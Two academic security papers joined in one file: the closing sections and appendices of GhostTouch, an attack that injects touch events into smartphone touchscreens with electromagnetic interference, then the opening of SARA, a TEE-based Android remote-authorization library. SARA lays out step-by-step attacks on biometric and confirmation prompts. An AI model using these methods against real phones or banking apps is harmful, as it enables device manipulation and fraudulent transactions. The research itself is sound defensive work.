the adversary infers the input of a touchscreen using side-
channel information. In prior work, Maggi et al. [29] took the
image from surveillance as side channel information to get
the keystrokes of a victim. Aviv et al. [3] leveraged smudge
to get the graphical password. Hayashi et al. [15] leveraged
the electromagnetic signal emanations of a tablet display to

reconstruct the displayed screen image.
Active spoofing attacks may modify software or hardware

like the work proposed by Schwartz et al. [40], modifying
the touch display driver to inject false touch points. Attacks
like the one described by Maruyama et al. [30] use EMI to
attack the touchscreen controller. However, the attack needs
the victim to touch the panel while the attack is active and
thus could be easily perceived by the victim. Our attack does
not require the victim to touch the panel. Moreover, they
could not control the position of the injected touch points.
Approximately, the injected points are uniformly scattered
along a line which is the RX electrode touched by a finger.

In contrast our attack GhostTouch takes a Dupont jumper
wire or a 4mm tip as the antenna. By changing the position
of the antenna, the adversary could control which line the
touch points are injected into. By shaping the EMI signal, the
adversary could control which segment of this line the points
are injected into.

9 Conclusion

In this paper, we introduced a novel attack coined
GhostTouch, which targets the capacitive touchscreen used
on many mobile devices such as smartphones or tablets.
GhostTouch controls and shapes the near-field electromag-
netic signal, and injects touch events into the targeted area
on the touchscreen, without the need for physical touch or
access to the victim’s device. Consequently, the adversary can
stealthily manipulate the victim’s smartphone. Through the
extensive experiments and evaluation, we demonstrate that our
GhostTouch attack works for most widely-used smartphones.
Moreover, we discuss possible countermeasures against the
GhostTouch attack.
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Appendix

A Screen Refresh Rate Probing

Probing the excitation signals directly on the TX electrodes
is difficult because the pins are insulated and hidden inside
the touchscreen. To overcome this problem, we infer the exci-
tation signals by measuring their electromagnetic emissions.
From the probed signal, we can acquire the number of TX
electrodes N, the time it takes to scan all TX electrodes Tp,
and the time it takes to scan one TX electrode Tp1. For ex-
ample, Figure 18 shows a waveform of the excitation signal
we measured on a Nexus 5X. It shows that it takes approxi-
mately Tp = 8.6ms to finish scanning all TX electrodes, which
consists of a preamble and a scanning segment. Within the
scanning segment, there are 27 pulses, which corresponds
to the N = 27 TX electrodes being scanned in turn, and it
takes Tp1 = 0.27ms to scan one TX electrode. The scanning
period Tp is the reciprocal of the touch sampling rate of the
touchscreen. Our measurement therefore suggests the touch
sampling rate of the Nexus 5X to be around 120Hz [2].

By counting the pulses, it is possible to synchronize the
emission of the electromagnetic signal to the RX electrode
which is currently sensed. For that we used a MyDAQ for sig-
nal filtering and preamble extracting, it then outputs a signal
to trigger the emission of our EMI signal. Hence, it is also
possible to use the same antenna to receive passively before
the attack.

Tp=8.6 ms
Tp1=0.27 ms

Preamble Scanning

Tx1 Tx27

Figure 18: A waveform of the TX excitation signals on a
Nexus 5X recorded by an oscilloscope. It shows that it takes
approximately 8.6ms to scan all 27 TX electrodes and 0.27ms
to scan one TX electrode.

B Feasibility

0 500 1000
X/pixel

0

500

1000

1500

Y/
pi

xe
l

(a) Google Pixel 1.

0 500 1000
X/pixel

0

500

1000

1500

Y/
pi

xe
l

(b) Nexus 5X.

0 500 1000
X/pixel

0

500

1000

1500

2000

2500

Y/
pi

xe
l

(c) Huawei P10 Plus.

Figure 19: Visual distribution of the injected touch points
on a Google Pixel 1, Nexus 5X and Huawei P10 Plus in the
portrait orientation. The X and Y axes refer to the horizontal
and vertical edges of the screen.
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(c) Huawei P10 Plus.

Figure 20: Cumulative distribution of the injected points along
the X (1st row) and Y (2nd row) axes of the screen on Google
Pixel 1, Nexus 5X, and Huawei P10 Plus. More than half of
the injected points distribute on a specific line of the screen,
either vertical or horizontal depending on the phone model.
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Figure 21: Visual distribution of the injected touch points on
Google Pixel 1 at three attack distances. The injected touch
points become less intense and less concentrated as the attack
distance increases.
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C ChipSHOUTER’s Pulse

400ns

Figure 22: A waveform of the pulse generated by the Chip-
SHOUTER.

D Taps and Swipes

0 500 1000 1500
Y/pixel

0

200

400

600

800

1000

X/
pi

xe
l

(a) Tap.

18 19 20 21 22 23
t/s

0

500

1000

1500

Y/
pi

xe
l

(b) Swipe.

Figure 23: Illustrations of the injected taps on the screen and
an injected swipe by drifting the touch points over time.

E Consistency of Taps

0 5 10 15
t/s

0

1000

Y/
pi

xe
l

Figure 24: An illustration of the consistency of tap locations.
The injected points stay in a small area for 15 seconds.

F Samples with an 8mm-thick Table
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Figure 25: Tap and swipe injected beneath an 8mm-thick
table.

G Accidental Touch Protection

Many smartphones have a “Mistouch Prevention Mode” also
called “Pocket Mode”, which turns off the touchscreen, pre-
vents it from turning on or disables input in order to prevent
accidental touches when the proximity sensor detects that
the screen is blocked. This function may affect the practi-
cality of the GhostTouch attack: 1) For phone models like,
e.g., Google Pixel 1, Nexus 5X, MIX2, this function is only
supported in calls. 2) For iPhones, the function turns off the
screen during calls or prevents waking the screen on a no-
tification. 3) For devices like Huawei P40, it would prevent
touch detection when the proximity sensor is covered. Case 1)
will not affect the GhostTouch attack. For case 2), it can still
answer an eavesdropping call. For case 3), for Huawei phones
this mode is turned off by default, which results in not many
devices having this mode enabled. In addition, it is still possi-
ble to answer the phone call e.g., on Samsung Galaxy Note10,
and the touchscreen can be activated by completing the check
shown on the screen, e.g., by swiping twice or dragging the
‘lock’ icon. Considering the global market shares of Huawei
and Apple smartphones are respectively 14.6% and 11.8%
in the third quarter of 2020 [18], a significant proportion of
smartphones are exposed to the threat of the GhostTouch
attack.
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Abstract
Modern smartphones are equipped with Trusted Execution En-
vironments (TEEs), offering security features resilient even
against attackers able to fully compromise the normal oper-
ating system (e.g., Linux in Android devices). The academic
community, as well as the smartphone manufacturers, have
proposed to use TEEs to strengthen the security of authoriza-
tion protocols. However, the usage of these protocols has been
hampered by both practicality issues and lack of completeness
in terms of security.

To address these issues, in this paper, we design, implement,
and evaluate SARA (Secure Android Remote Authorization),
an Android library that uses the existing TEE-powered Android
APIs to implement secure, end-to-end remote authorization for
Android apps. SARA is practical in its design, as it makes use
of Android APIs and TEE features that are already present in
modern Android devices to implement a novel secure authoriza-
tion protocol. In fact, SARA does not require any modifications
to the Android operating system nor to the code running in
TrustZone (the TEE powering existing Android devices). For
this reason, it can be readily used in existing apps running on
existing smartphones. Moreover, SARA is designed to ensure
that even developers that have no experience in implementing
security protocols can make use of it within their apps. At the
same time, SARA is secure, since it allows implementing autho-
rization protocols that are resilient even against attackers able
to achieve root privileges on a compromised Android device.

We first evaluate SARA by conducting a user study to ascer-
tain its usability. Then, we prove SARA’s security features by
formally verifying its security protocol using ProVerif.

1 Introduction
People are becoming increasingly reliant on their smartphones
and other smart devices in their daily lives. Developers have fu-
eled this reliance by designing solutions to most of the everyday
problems in the form of applications (apps). Furthermore, an
increasing number of applications deal with security-sensitive
tasks such as online payments or online banking. New regula-
tions, such as the European Banking Authority’s Strong Cus-
tomer Authentication [13], require that electronic payments be
made secure by the use of two-factor authentication. Smart-
phone applications are often used to implement the second
factor or sometimes even both factors. The security measures

TEE to Server

TEE to User

User Input to TEE

User

TEE

Android Device

Remote 
Server

TEE to User

User Input to TEE

TEE to Server

Figure 1: TEE-enforced communication channels

of these applications rely on the integrity of the underlying
OS. Unfortunately, more attacks are being discovered that can
compromise the entire OS, and, consequently, the security of
the apps running on a mobile device [5].

Trusted Execution Environments (TEEs) provide a solution
for this issue by running security-sensitive tasks in a separate
execution environment. In the case of Android devices, ARM’s
TrustZone [15] serves as the TEE for most devices, and it
offers hardware-backed, strong security services to third-party
apps [8]. These security services, like hardware backed key
storage and Secure UI, help in achieving stronger security for
various functionalities, such as user authentication and device
attestation, which are prerequisites for the authorization of
security-sensitive operations.

As an example, consider a banking app that allows a user
to make transactions. For the transaction to be authorized, the
banking server needs to ensure that the user identifies them-
selves to prove they are the right person authorizing the transac-
tion. We call this process User Authentication. The server also
needs to carry out User Confirmation, a process ensuring that
the user knows exactly what transaction is taking place and that
the user willingly confirms that transaction. In addition, the
server needs a guarantee that the client device has the security
features that are prerequisites to perform such a transaction by
means of a process known as Device Attestation. These pro-
cesses allow backend servers to determine whether an action
was legitimately authorized.

If the adversary obtains root privileges on an Android de-
vice, all of these steps are vulnerable. Stored credentials can be
stolen, confirmation messages can be spoofed, and the presence
of security features can be faked. However, using TEEs, it is
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possible to implement remote authorization resilient against
attackers capable of compromising the OS (i.e., root attack-
ers), by securing all channels involved in the communication
between the user, the app, and the app’s remote backend (as
shown in Figure 1).

Android itself provides developers with TEE-enforced fea-
tures through dedicated APIs. Unfortunately, existing apps
rarely use these features, as they require developers to have
abundant experience with these complex cryptographic APIs.
Furthermore, to achieve root-resilient authorization, these APIs
need to be combined, which is an even harder task to accom-
plish. Prior works also proposed several solutions [31,35,36,
40,44,45] to implement root-resilient authorization protocols,
but they require hardware, OS, or TEE modifications, making
them impractical to be used on real devices.

To address these issues, we propose SARA, a library imple-
menting a novel authorization protocol on top of the existing
TEE-enforced APIs currently offered by Android. SARA is
designed to be practical and secure.

SARA’s practicality derives from the fact that any developer
can integrate it within their Android apps with only a few lines
of code. Moreover, the library does not require any hardware
modifications or changes to the existing Android or TEE code,
since it relies on the existing Android APIs, making it easy to
deploy on existing smartphones. Lastly, SARA ensures that
all the cryptographic procedures and checks are handled by
the library, leaving less room for security flaws introduced by
developers.

SARA’s security is guaranteed by the fact that in its autho-
rization protocol, all the channels in Figure 1 are under the
control of the TEE and an app’s backend server can verify
that every authorized action has been handled by the TEE. In
addition, it ensures that users are aware of the actions being
authorized and have biometrically authenticated themselves.

We proved the security of SARA by using ProVerif [27].
Then, we evaluated the practicality of SARA with a user study.
The results of this study show that using our library significantly
improves the ability of developers to implement root-resilient
remote authorization within Android apps.

In summary, these are the main contributions of our work:

• We analyze the existing TEE-enforced APIs in Android
and how existing apps use them. Our analysis of 112,886
apps revealed that these APIs are currently not used to
improve the security of authorization protocols.

• To address the lack of usage of such features, we design
a new security protocol that utilizes the already existing
Android APIs to perform a root-resilient form of remote
authorization, and we verify its security using ProVerif.

• We develop an Android library and a server module to
allow developers to easily implement our new security
protocol, and we evaluate its usability with a user study.

In the spirit of open science, and to ensure our work bene-
fits the entire Android community, we have publicly released
SARA [21].

2 Background and Threat Model
This section introduces background information about TEEs
and Android, which will be useful throughout the paper.

2.1 Trusted Execution Environments
A Trusted Execution Environment (TEE) is a “secure” iso-
lated execution environment that runs concurrently with the
non-secure “rich” Android OS. There are many different im-
plementations of TEEs, e.g., ARM’s TrustZone, which serves
as the TEE for most Android devices. Systems that employ
the use of a TEE can run code and store data in two separate
environments. The secure environment consists of a trusted
kernel along with trusted applications. They are both signed
by the OEM and isolated from the non-secure environment. To
allow third-party applications in the non-secure world to access
services that run in the secure environment, Android provides
APIs that can interact with the “trusted” applications without
granting direct access to them.

2.2 Terminology
We provide a common terminology for some recurring terms
in this paper. A legitimate user is the one that is adjudged by a
system to be the unique individual that holds the authority to
perform certain actions. TEE-enforced APIs are APIs exposed
to the application by the Android OS. They give an app the
ability to access TEE-controlled functionality, such as crypto-
graphic key storage. Authorization is the process through which
a system determines if the legitimate user wishes to perform a
certain action.

2.3 TEE-enforced API Usage
Key Storage Android provides a Key Storage to store and use
cryptographic keys. This Key Storage is implemented within
the TEE, ensuring that cryptographic material (i.e., the stored
cryptographic keys) cannot leave the TEE. In fact, keys inside
the TEE are inaccessible directly by Android apps, and any
cryptographic operation such as encryption or signing with
these keys is performed inside the TEE. This feature allows
apps to use these keys without ever exposing them to the OS,
which ensures that even root attackers cannot access these keys.
The Key Storage can generate keypairs. In this case, the private
key remains stored in the TEE, while the public key is returned
to an app. The app can later invoke the TEE to sign arbitrary
data using the TEE-stored private key.
Key Attestation In version 7.0, Android introduced a key
attestation mechanism. This allows a remote server to crypto-
graphically verify different properties of the obtained public
key, including whether the corresponding private key is stored
safely inside the TEE. The server first sends an attestation
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Figure 2: Sample display of Biometric Prompt (left) and Con-
firmation Prompt (right)

challenge to the client device. The keypair is then made by the
client device by setting the attestation challenge to the one sent
by the server. This attestation challenge is embedded within the
key’s corresponding attestation certificate, allowing the remote
server to ascertain that the keypair was created in response to
a specific request for which a specific attestation challenge
was sent. The attestation certificate consists of a certificate
chain, rooted to a Google-owned private key, signed with a
secret key stored within the TEE. After the keypair is created,
the corresponding certificate chain is sent to the server. The
server then parses the certificate chain to check if it has the
correct attestation challenge and shows that the keypair has the
required properties. Specifically, obtaining an attestation cer-
tificate chain having, as a root certificate, a Google’s Hardware
Attestation Root Certificate, guarantees that the corresponding
key has been generated within a TEE-based KeyStore.

Android Protected Confirmation An essential component of
remote authorization is the ability to show the user the action
being authorized and get a confirmation from them.

In Android 9, the Android Protected Confirmation [4] feature
was introduced, which allows a user to perform TEE-enforced
confirmation. Specifically, by using this feature, the TEE dis-
plays the prompt on a trusted screen (Figure 2) and takes the
confirmation input through a hardware button. The TEE can
store keypairs that can only be used to sign the prompt dis-
played on the trusted screen and only when the user presses
the hardware confirmation button. If a remote server receives a
prompt signed with such a keypair, it has the guarantee that this
prompt was displayed via the trusted screen and a user pressed
the hardware confirmation button in response to this prompt.

BiometricPrompt API Another crucial part of remote autho-
rization is the ability to authenticate a user to verify that it is a
legitimate user (and not, for instance, someone able to obtain
physical access to a device). Android accomplishes this feature
with the help of biometric authentication controlled by the TEE.

In this case, only the user whose biometrics are registered on
the device is considered the legitimate user.

As of Android 9, Android’s recommended API to use for
biometric authentication is the BiometricPrompt API [6]. The
BiometricPrompt API is used in conjunction with a keypair
stored within the TEE. This keypair can be used for signing
only upon successful biometric authentication. Whenever the
keypair needs to be used for signing, a biometric prompt is
displayed, asking the user to authenticate themselves biomet-
rically. The title and description of the biometric prompt can
be set using the BiometricPrompt.Builder class. At this
point, the key can be used once for signing with a previously
provided CryptoObject. This signature can then be verified
by the server with the guarantee that a legitimate user is authen-
ticated.

2.4 Threat Model
We assume that the adversary has completely compromised the
OS and has all root privileges. These include control of input,
output, and the code execution flow of any app.

Physical security is of paramount importance in mobile de-
vices as they are more easily accessible to adversaries due to
their portable nature. Hence, we also assume that the adversary
has sporadic physical access to the device. The adversary’s
physical access and the user’s physical access are mutually
exclusive. The adversary can physically access the device if
the user is not physically carrying the device. This can occur at
any random time when the user leaves the device unattended,
therefore, allowing the adversary to have physical access to it.
We consider the duration of the physical access by the adver-
sary to be no greater than a few minutes at a time. Furthermore,
we assume that there is a time gap between the user accessing
the device and the adversary accessing it, i.e., the adversary is
unable to press a hardware button immediately after the user
inputs their fingerprint.

We assume that the adversary has not compromised the code
or data within the TEE. In fact, exploits that could grant this
capability to the adversary are uncommon. From January 2020
till December 2021, there have been 453 Android CVE’s that
could result in an escalation of privilege but only 8 CVE’s
related to TEEs in Android [20].

The adversary does not have any control over the remote
server. Hence, we do not consider any attacks that involve
compromising the remote server directly.

Furthermore, we assume that the initial trust between the
Android device and the remote server has already been es-
tablished, i.e., the user was able to legitimately authenticate
themselves at least once on that device (usually done with login
credentials). Therefore, establishing the initial trust between
the device and the remote server is out of scope for this paper.
Consequently, attacks based on this lack of initial trust, like
cuckoo attacks [39], are also out of scope for this paper.
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In summary, we consider as a Trusted Computing Base
(TCB), the data stored, and the code running, on a remote
server and the TEE.

3 Motivation
Authorization involving mobile devices is becoming a neces-
sity. Regulations like the European Banking Authority’s Strong
Customer Authentication [13] have made it almost impossible
to process payments without using your mobile device. Finan-
cial applications that run on modern smartphones are ample,
and without secure authorization protocols in place, users could
suffer severe financial losses in the event of a security breach.
Even local authorization use cases such as controlling insulin
pumps using your smartphone [9] require that secure authoriza-
tion take place to avoid any overdose. Under our threat model,
for these authorizations to be secure, they have to use the TEE.
Therefore, there is a need for a TEE-based solution that can
handle all these forms of authorizations, and can be used in all
modern mobile devices.

In this section, we first conduct a large-scale market analysis
of Android apps to ascertain how apps in the market are using
TEE-enforced APIs. Next, we discuss the issues and limita-
tions of these TEE-enforced APIs. Lastly, we discuss possible
authorization protocols that use TEE-enforced APIs and their
flaws, which prevent them from fulfilling our goals.

3.1 TEE-enforced API’s Market Analysis
We conduct a large-scale analysis of existing apps on the
Google Play Store, using AndroZoo [25] to gather a dataset of
Android apps. To limit our dataset to prominent applications,
we used a web scraper to filter the apps based on their category
and number of installs. The categories chosen for filtering were
Business, Finance, Tools, Communication, and Medical. We
selected all apps that belonged to these categories and had at
least 1,000 installations on Google Play Store, resulting in a
dataset of 112,886 apps downloaded in January 2021.

As discussed in Section 2.3, there are three TEE-enforced
APIs relevant for authorization. Since Bianchi et al. [26] have
already investigated the usage of the FingerPrint API, we focus
our analysis on key attestation and Android Protected Confir-
mation APIs. The FingerPrint API is the deprecated version
of the BiometricPrompt API but still has a very similar imple-
mentation. Hence, the older analysis results are still relevant.

First, we gauge the number of apps that are attempting to use
these APIs. We use Apktool [19] to disassemble the apps into
smali code [22]. We then search the smali code for methods
necessary for the usage of these APIs. For key attestation,
we search for the method setAttestationChallenge. For
Android Protected Confirmation, we search for the method
setUserConfirmationRequired.

We manually analyze the apps further to see how the APIs
are being used. We decompile the apps using Jadx [10] and then
search and trace within the Java code for the methods to see how
they are used. We are interested in seeing what data is being

sent to or from a remote server. In case no communication
occurs with the server while these APIs are being used, we
check how these APIs are then used locally.

We only found 5 apps that use key attestation, and none
of them use it for remote attestation. The certificate chain
containing the attestation data is never sent to any remote server.
The apps are either checking the attestation data locally or are
using the attestation data to determine the state of the device
and display it to the user. Checking attestation data locally
defeats the purpose as a root attacker will be able to alter the
data to bypass any checks that use this attestation data as a
measure of the device’s integrity. We find no usage of Android
Protected Confirmation within our dataset.

The user study we conduct, as discussed in Section 7, sug-
gests that the lack of usage of these APIs is due to the complex
nature of their implementation. From our analysis, we conclude
that there is a need to provide developers with an easier way of
incorporating these APIs into their apps.

3.2 TEE enforced API’s Intrinsic Limitations
The Fake Prompt There is an intrinsic issue with the Biomet-
ricPrompt API, which lies in the fact that the prompt shown
to the user requesting for their biometric scan does not guaran-
tee that the key will be used for the purpose displayed on the
prompt. A biometric prompt like the one shown in Figure 2
(left) can be manipulated by a root attacker, making the user
think they are authorizing a certain action while the adversary
silently uses the key for their own purposes [41].

The Illegitimate User Android Protected Confirmation used
alone for authorization only ensures that a hardware button was
pressed in response to a certain message, but gives no assurance
of who pressed the button. A confirmation prompt like the one
shown in Figure 2 (right) is controlled by the TEE. The key
unlocked by pressing the hardware button can only be used
to sign the prompt displayed. However, pressing the hardware
button does not necessitate physical input from the legitimate
user, as anyone can press the button.

Everlasting Biometric We found that using the Biometric
Prompt to unlock a key for use with a CryptoObject results
in the key being unlocked as long as the CryptoObject is
not used. This means that if a user authenticates themselves
to a BiometricPrompt, the resultant CryptoObject can be
used long after the biometric input took place. A root attacker
can exploit this issue by delaying the signing process after
successful user authentication.

Overwriting Confirmation We found that a key requiring user
confirmation to be unlocked can only sign the last accepted
Confirmation Prompt. This is an issue because an accepted
Confirmation Prompt can be overwritten by another accepted
Confirmation Prompt. Even if a user accepts a Confirmation
Prompt, the attacker can stop that particular prompt from being
signed. The attacker can then display and accept a Confirmation
Prompt of their own choosing and sign that instead. Further-
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more, the accepted Confirmation Prompt does not expire due to
time and is not bound to any particular key with any confirma-
tion timeout (i.e., the confirmation must have been done within
a certain duration of the signing). This results in an attacker
having the capability to set the accepted Confirmation Prompt
when they have physical access to the device and even use it
for future attacks due to the lack of any timeout mechanism.

3.3 Vulnerable Protocols
This section will discuss possible authorization protocols based
on the TEE-enforced APIs and their vulnerabilities.

Solitary Biometric Usage, Fake Prompt Attack A com-
mon protocol for authorization in Android is using Biomet-
ric Prompt alone. This protocol suffers from the Fake Prompt
issue. After the user has provided the biometric input for au-
thorization, the attacker can then sign any malicious prompt
without alerting the user. If the protocol involves using a server
generated nonce or timeout to avoid such attacks, then the root
attacker can exploit the Everlasting Biometric issue.

Solitary Confirmation Usage, Fake User Attack An alter-
native protocol for authorization is using Android Protected
Confirmation alone. This protocol suffers from the Illegitimate
User issue. An attacker wishing to authorize a malicious action
simply has to wait until they have physical access to the device
and can then press the physical button when prompted to accept
the malicious prompt.

Naive Combined Usage, Separation Attack The naive
method of using both APIs together in an authorization proto-
col is to use them in parallel with separate keys, one after the
other, to sign the same prompt and send both signatures back to
the server. Since there is no mechanism to ensure both signings
are done in an atomic manner (at the same time), each signing
only guarantees the security properties as are in the case of
solitary usage. Therefore, separate attacks can be carried out to
bypass the two signing mechanisms, identical to the attacks as
in the case of solitary usages.

For example, if the Android app used a Biometric Prompt be-
fore using a Confirmation prompt, the attacker can wait for the
user to provide the biometric input in response to a legitimate
Biometric Prompt. By exploiting the Everlasting Biometric
issue, the root attacker can stop the original signing from hap-
pening and instead pause the process till they have physical
access to the device. The root attacker will then generate a new
malicious request to the server. The already unlocked Biomet-
ric key can then be used to sign the malicious request. The
attacker can then provide the physical input for the confirma-
tion prompt. Using server generated nonces and timeouts does
not hamper this attack as the attacker can generate a new re-
quest to the server at the time of signing. Similarly, the attack
also works in the case when the Confirmation Prompt is used
before the Biometric Prompt.

Rectified Combined Usage, Timed Attack Another method
of combining BiometricPrompt API and Android Protected

Confirmation is to use them both with a single key to sign a
single prompt. The two prompts can be displayed in any order.
However, in this case, an attack is possible by exploiting the
Everlasting Biometric and Overwriting Confirmation issues.
A root attacker can pause the process after the biometric in-
put has been provided and wait till they have physical access.
Afterward, the attacker can generate a new malicious request
to the server, display a malicious confirmation prompt, accept
it using the physical button and then sign it using the key as
it has already been biometrically unlocked. Server generated
nonces and timeouts do not protect against this attack due to
the malicious request being made at the time of signing.

4 SARA Overview

In this section, we first discuss the goals and requirements of
our work. Then, we introduce our new authorization protocol,
which we use as the basis to implement a library that can be
used by developers within their apps.

4.1 Design Goals and Requirements
The first goal for our library is to be practical. This requirement
translates to two usability goals.

UG1: Developers who wish to perform remote authorization
in their apps should only need to have minimalistic knowledge
of the authorization framework to integrate it correctly into their
apps. Developers should also not worry about the complicated
cryptographic details that an average developer without any
security experience would have no knowledge about. To ensure
this property, the library should take care of all the intricacies
of the authorization process.

UG2: The library must be compatible with all modern An-
droid devices and be integrable within all existing and new
apps. To ensure this property, our library has to make use of
hardware features that already exist within devices, as well
as APIs that are already provided by the Android OS. Using
APIs that are provided by the Android OS ensures that the
library will work across Android devices regardless of the TEE
and code running inside the TEE. Our library has a minimum
requirement of Android 9 which means that 74% of existing
Android devices [17] can use our library. The only limitation
is that necessary hardware features, like a biometric scanner or
a TEE itself, must be available on the device. Since the APIs
are provided by the Android OS and the necessary hardware
features are recommended by the Android Compatibility Def-
inition Document [3], the number of devices that have these
hardware features is on the rise.

The second goal is that our library should provide a secure
form of remote authorization that can be achieved by current
Android devices. The library should both be resilient against
root attackers and verify the physical presence of the legitimate
user. In turn, to guarantee these two properties, we design our
library to achieve the following five security goals:
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Table 1: Fulfillment of security and practicality goals
Authorization Solution UG2 (No impractical OS or Hardware Modifications) SG3 (Secure UI) SG4 (Biometric Authentication)
SecurePay [31] ✗ ✓ ✗

Truz-Droid [44] ✗ ✓ ✗

Yubikey [18] (uses external hardware) ✗ ✓

SARA ✓ ✓ ✓

SG1: All authorized actions are signed by TEE backed keys
SG2: The server can attest to the state of the keys used for

signing.
SG3: The legitimate user is aware of the action they are autho-

rizing.
SG4: Physical presence of the legitimate user is verified at the

time of authorization.
SG5: The server can verify that the legitimate user knowingly

authorized an action.
As mentioned in Section 3.3, the existing Android TEE-

enforced APIs, when used in isolation or simple combinations,
have intrinsic issues that prevent them from achieving these
goals. Therefore, there is a need for a new remote authorization
protocol for Android devices that, while using the existing
APIs, can achieve the aforementioned security goals.

4.2 Comparison with Similar Efforts
We analyze previously published works to ascertain if they
can fulfill our design goals and requirements. Specifically,
we focused on SecurePay [31] and Truz-Droid [44]. These
two approaches are currently state of the art in the field, and,
in their evaluation, they show they are better than older pub-
lished works, such as TrustPay [45]. We also compare with
Yubikey [18] which is currently being used in the industry.

SecurePay [31] proposes securing payments by leveraging
the TEE to use the mobile device as a secure form of 2FA. Se-
curePay is composed of an Android library, as well as a Trusted
Application (TA) which resides inside the TEE. In SecurePay,
an encrypted transaction message is sent to the Android device
which can only be decrypted by the SecurePay TA. The Secure-
Pay TA then decrypts and displays the transaction details to the
user, using a trusted UI. The user can then verify the transaction
details and accept the transaction. SecurePay requires adding
a new TA inside the TEE. In the current Android ecosystem,
this is hard to accomplish in practice since only TAs signed
by OEMs are allowed inside the TEE. For this reason, Secure-
Pay violates UG2. Additionally, SecurePay does not verify the
identity of the user accepting the transaction on the trusted UI.
Therefore, under our threat model, it is possible that an attacker
is able to process illegitimate transactions if they have physical
access. Hence, SecurePay violates SG4.

Truz-Droid [44] suggests using a two-part solution. The first
part secures the user’s interaction with the device by providing
a secure keyboard that feeds the input directly to the TEE.
Moreover, Truz-Droid introduces a secure output screen that

allows the TEE to show information directly to the user. The
user can distinguish between the secure screen and the normal
screen with the help of a LED. To handle the secure inputs
and outputs inside the TEE, Truz-Droid requires a TA into
the TEE. Since it requires modifications to the Android OS
and hardware modifications to the device, Truz-Droid violates
UG2. Additionally, Truz-Droid does not authenticate users
using biometrics; hence it also violates SG4.

Yubikey [18] is one of the most popular hardware based
2FA authentication techniques [32] available on the market. To
authenticate themselves, the user makes use of hardware token
with an in-built finger touch sensor. Traditionally this sensor
guarantees physical presence, but it does not biometrically au-
thenticate the user. However, the newest available version of
Yubikeys also supports fingerprint authentication [1], hence sat-
isfying SG4. However, even though it does not require Android
or hardware modifications, this solution requires a separate
hardware token. For this reason, it partially violates UG2. Fi-
nally, Yubikeys do not offer any form of Secure UI, hence their
usage violates SG3.

Table 1 summarizes how these solutions fulfill our practi-
cality and security requirements. In the following sections, we
will prove that SARA fulfills all these requirements. To the best
of our knowledge, SARA is the only system that (1) can be
practically used in modern Android devices without requiring
any changes to hardware, OS or TEE code, and (2) is secure
within our threat model where root attackers can also have
limited physical access to the device.

4.3 SARA’s Protocol Design
We now introduce the design for our new authorization protocol
built on top of already existing Android APIs. The APIs have
to be used together in a cryptographically secure manner to
ensure that the legitimate user authorized the action. To this
aim, our protocol uses the concept of double signing.

We will now describe each of the steps that take place within
our protocol, as illustrated by Figure 3. The first two steps
only need to be executed once, while steps 3 and 4 need to be
executed for each authorized action.

Step 1 : Keypair Generation First, our protocol uses An-
droid’s KeyStore to create two asymmetric signing keypairs
on the client Android app. Android’s KeyStore uses the TEE
to store the keypairs, which accomplishes SG1. We generate
both of these keypairs in accordance with the key attestation
protocol. Both of them have a separate attestation challenge
that is sent by our server module. Furthermore, one of the
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Figure 3: Biometric Confirmation Protocol with SARA’s API interaction and internal processing handled by SARA

keypairs is made to be used with the BiometricPrompt API
(biometricKeypair). The other keypair is created to be used
in conjunction with the Android Protected Confirmation API
(confirmationKeypair).

Step 2 : Double Attestation To achieve SG2, our proto-
col attests both the created keypairs on the remote server in
accordance with the key attestation protocol available in An-
droid devices. Specifically, once the remote server receives the
certificate chains that correspond to both keypairs, our proto-
col analyzes the attestation data encoded in these chains. The
server then verifies that the separate attestation challenges for
the keypairs match the ones generated by our server module.

Our protocol ensures that attestation data from both cer-
tificate chains match since they come from the same device,
except for the part that gives detail on the key properties. For
the attestation to be successful, the attestation data must show
that both keypairs are stored in secure hardware and that the
device is not compromised. Furthermore, the remote server
checks the attestation data to ensure that one key can only be
used with biometric authentication, while the other key can
only be used when a confirmation input is provided in response
to a confirmation prompt.

Step 3 : Double Signing To achieve SG3 and SG4, our
protocol needs to verify that the legitimate user is aware of
the action they are authorizing and provides a physical confir-
mation. Therefore, for every action that requires authorization,
both keypairs are used to sign a prompt that summarizes the
action being authorized (i.e., Are you sure you want to send $50
to Alice), as well as a nonce to protect against replay attacks.

Both the prompt and the nonce are generated by our server
module. After the prompt and nonce are sent to the client app,
a timeout is started on the server.

More precisely, the signing is performed the following way:

intermediateSignature = sign(prompt+nonce,
biometricPrivateKey)

finalSignature = sign(prompt+nonce+intermediateSignature,
confirmationPrivateKey)

where sign() signs the first argument using the private
key specified in the second argument. biometricPrivateKey
is the private key part of biometricKeypair and confir-
mationPrivateKey is the private key part of confirmation-
Keypair.

The biometricPrivateKey is used to sign the prompt
displayed by the BiometricPrompt API. Similarly, confir-
mationPrivateKey is used to sign the prompt displayed by
using Android Protected Confirmation. Due to this double sign-
ing, our protocol gives a guarantee to the remote server that
the user has both seen the prompt and biometrically authenti-
cated. The double signing along with the server timeout ensure
that an attacker cannot exploit the Everlasting Biometric or the
Overwriting Confirmation issues. The confirmation fulfills the
requirement for SG3 by ensuring the user sees the action they
are authorizing. The biometric authentication achieves SG4 by
verifying the user is legitimate and present, through a physical
biometric input.

Step 4 : Signature Verification To achieve SG5, our pro-
tocol sends back the prompt signed by both keypairs to the
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server module along with both signing outputs. The server
first ensures that the signatures were received within the time-
out limit. We then verify both signatures using the certificate
chains that were received by the remote server in Step 2 . The
verification is performed in the following way:

verify(finalSignature, prompt+nonce+intermediateSignature,
confirmationCertificateChain)

verify(intermediateSignature, prompt+nonce,
biometricCertificateChain)

where verify() verifies that the first argument is a valid
signature of the second argument using the certificate chain
specified in the third argument. biometricCertificate-
Chain is the public certificate chain of biometricKeypair
and confirmationCertificateChain is the public certifi-
cate chain of the confirmationKeypair. Upon successfully
verifying both signatures, our protocol ensures that the legiti-
mate user has confirmed the action and SG5 has been achieved.

4.4 Alternative Protocol
Prior to Android 11, we only had two options. Either biometric
authentication was required for every use of the key, or a va-
lidity duration could be set for the key, in which case all forms
of authentication can be used, such as a pin or password. The
latter option does not enforce the use of biometric authentica-
tion and can be bypassed using any authentication method such
as a screen lock as long as it is done within the set time limit.
Even though biometric authentication for every use of the key
enforces the need for biometric authentication, it does not set
any time limit in which the signing must take place after the
authentication (Everlasting Biometric).

Starting from Android 11, we could use the new method se-
tUserAuthenticationParameters to enforce biometrics as
well as set a time limit for the authentication. Using this method,
we can create a single keypair in Step 1 of Figure 3 to be
used with both BiometricPrompt API and Android Protected
Confirmation API. The time limit, combined with a server gen-
erated nonce and timeout, is able to overcome the Overwriting
Confirmation and Everlasting Biometric issues. However, since
the method is not backward compatible with previous Android
